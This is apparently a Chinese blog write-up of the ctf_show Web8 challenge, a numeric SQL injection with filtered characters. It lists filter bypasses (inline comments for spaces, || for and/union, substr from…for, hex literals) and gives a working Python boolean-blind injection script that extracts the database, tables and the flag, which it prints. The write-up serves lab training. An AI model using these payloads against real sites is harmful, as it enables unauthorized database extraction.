首页 > 其他分享 >ctf_show Web的Web8题解

ctf_show Web的Web8题解

时间:2023-10-28 19:33:34浏览次数:33  
标签:字符 name Web 题解 flag mid substr ctf num

好久没写博客,上次写还是在上次(三年前)。

如题,写一次CTF的题解

 根据题目提示得知这应该是一个注入,什么注入还不知道,进入靶场。

 

仅有三个地方可点,都点进去看看。

从URL处可以看到前端是传了一个参数id给后端(另外两个类似,就不贴图了)。

那很明显了是SQL注入。

 

首先在参数后面打个'(单引号)。

 

报错。后面又试了好多例如union,and,逗号等。

经过一次次测试,总结了如下的过滤列表。

 

空格
and
逗号
单引号
union

 

空格可以内联注释来绕过,即 /**/。

and就可以使用or,或者 || ,或者 &&。

逗号就没有太好的想法了。

像是单引号被过滤的话,在字符型注入中基本是没戏了,还在这次的是数字型的注入。

而union就可以用 || 或者&&。

通过前面的测试绕过字符时,参数中存在被过滤了的字符,返回界面是这样的

 成功又是这样

 

即失败都是出错,成功都是返回三个文档内容。

那么我们可以使用盲注,判断依据是返回结果有没有“If”这个单词,当然其他的字符也可以,只要不在失败的页面中即可。

这里使用Python来编写脚本。

import requests

url = "http://24a4a2ef-71d3-4002-accb-7cd74afe184e.challenge.ctf.show/index.php?id=-1"
flag = ""

for num in range(1,60):
    l = 33
    r = 130
    mid = (l+r)>>1
    while l<r:
        # 数据库:web8
        # sql = "ascii(substr((select/**/database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # 表:flag,page,user
        # sql = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # 列:flag
        # sql = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # ctfshow{b54332e2-57d2-47c4-933a-d455e9b7e950}
        sql = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)


        payload = url + "/**/||/**/" + sql

        # print(payload)

        res = requests.get(payload)
        
        if 'If' in res.text:
            l = mid + 1
        else:
            r = mid
        mid = (l+r)>>1
    if chr(mid)==" ":
        break
    flag += chr(mid)
    print(flag)

 

简单讲一下代码,使用二分法查找字符。

ascii()#字符转ascii
substr(string,0,1)#截取string的第1个字符开始,偏移1个单位的字符。例如“substr(‘abc’,1,1)”的结果是‘a’,把1改成2,就是‘b’。在Mysql中字符索引从1开始。

因为逗号被过滤了。所以改用下面这个,一样的效果。

 

substr(string from 1 for 1)

 

这里需要注意一下这条语句

select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167

0x666c6167是“flag”的十六进制,因为不能使用单引号,就把它转换成十六进制。

还有需要注意的一点是,但使用 || 来替代 and 或 union 时, 要注意 || 后面语句的执行条件。必须是前面语句执行错误后,在会执行后面的语句,所以在参数处传入的是 -1 。

 

总结,一次简单的SQL盲注,考点是过滤字符的绕过。

标签:字符,name,Web,题解,flag,mid,substr,ctf,num
From: https://www.cnblogs.com/biaozong/p/17794472.html

相关文章

  • 【深度学习 | 概念】那些深度学习路上必经的 常见问题解决方案及最佳实践,确定不来看看
    ......
  • 2023寒鹭Tron-CTF迎新赛 CRYPTO Misc 全WP
    CRYPTO简简单单1、题目信息U2FsdGVkX1+2gTXPuTetdM1p+IETUDXAHe2eC33jQfgdJoOmmrJq2、解题方法兔子密码,在线工具直接解简简单单21、题目信息part1offlag:++++++++++[->++++++++++<]>++.++++++.<+++[->---<]>--.++++++.<++++[->++++<]>++++.-----......
  • netty同时支持tcp和websocket
    最近接手了别人的netty框架实现的im的一个项目,基于tcp实现通信,但是领导要求做一个网页版的聊天,接入到目前的系统,由于第一次接触这种项目,百度一圈大部分都是通过websocket实现通信的方式,最后通过chatgpt发现确实可以同时支持tcp和websocket,现在把方式放上Netty是一个高性能、异步事......
  • CSP-J 2023 题解
    CSP-J2023题解T1小苹果这个题直接遍历枚举必定TLE,这是CCF的出题风格,每题T1巨水无比,但是往往又需要一些思维。这道题我们可以发现每一轮操作都会拿走\(1+(n-1)/3\)个苹果,所以每次让\(n\)减去\(1+(n-1)/3\)就可以了。然后记录编号为\(n\)什么时候拿......
  • rust 创建多线程web server
    创建一个httpserver,处理http请求。创建一个单线程的web服务webserver中主要的两个协议是http和tcp。tcp是底层协议,http是构建在tcp之上的。通过std::net库创建一个tcp连接的监听对象,监听地址为127.0.0.1:8080.usestd::net::TcpListener;fnmain(){l......
  • Dasctf&CBctf-pwn部分题目复现
    打了一下Dasctf&CBCTF的pwn题目,感觉有些思路,但是就是做不出来,赛后发WP才恍然大悟,还是太菜了喵(---------------------------------------------------------------------------------------------------------------------------------------------------------------------------......
  • 「联合省选 2020 A」组合数问题 题解
    非常显然的,我们展开\(f(k)\),于是有:\[\begin{align}&\sum\limits_{k=0}^{n}\sum\limits_{i=0}^{m}a_{i}k^{i}x^{k}\binom{n}{k}\\=&\sum\limits_{k=0}^{n}\sum\limits_{i=0}^{m}a_{i}{\sum\limits_{j=0}^{i}\begin{Bmatrix}i\\j\end{Bmatrix}\binom{......
  • javaweb--JDBC的API-Connection
    1、获取执行SQL对象2、管理事务setAutoCommit(bool)true为自动提交false为手动提交commit()提交事务rollback()回滚事务packagecom.avb.jdbc;importjava.sql.Connection;importjava.sql.DriverManager;importjava.sql.SQLException;importjava.sql.Statement;public......
  • javaweb--JDBC的API-DriverManager
    DriverManager可以实现的功能1、注册驱动ClassforName("com.mysql.jdbc.Driver");查看Driver类源码在静态代码块中会运行DriverManager类mysql5以后的驱动包可以省略注册驱动步骤2、获取连接java:mysql://ip地址(域名):端口号/数据库名称?参数键值对1&参数键值对2...jdbc:my......
  • javaweb学习每日总结-第八天
    第八天学习Springboot今天也终于是学到了springboot的技术,springboot是一款Java开发的框架,也是当下最流行的开发方式,没有之一!今天我进行了springboot技术的入门,初步了解了springboot技术的发展和应用,也用idea写了一个最简单的springboot程序。除此之外,我还下载了postmen这个软......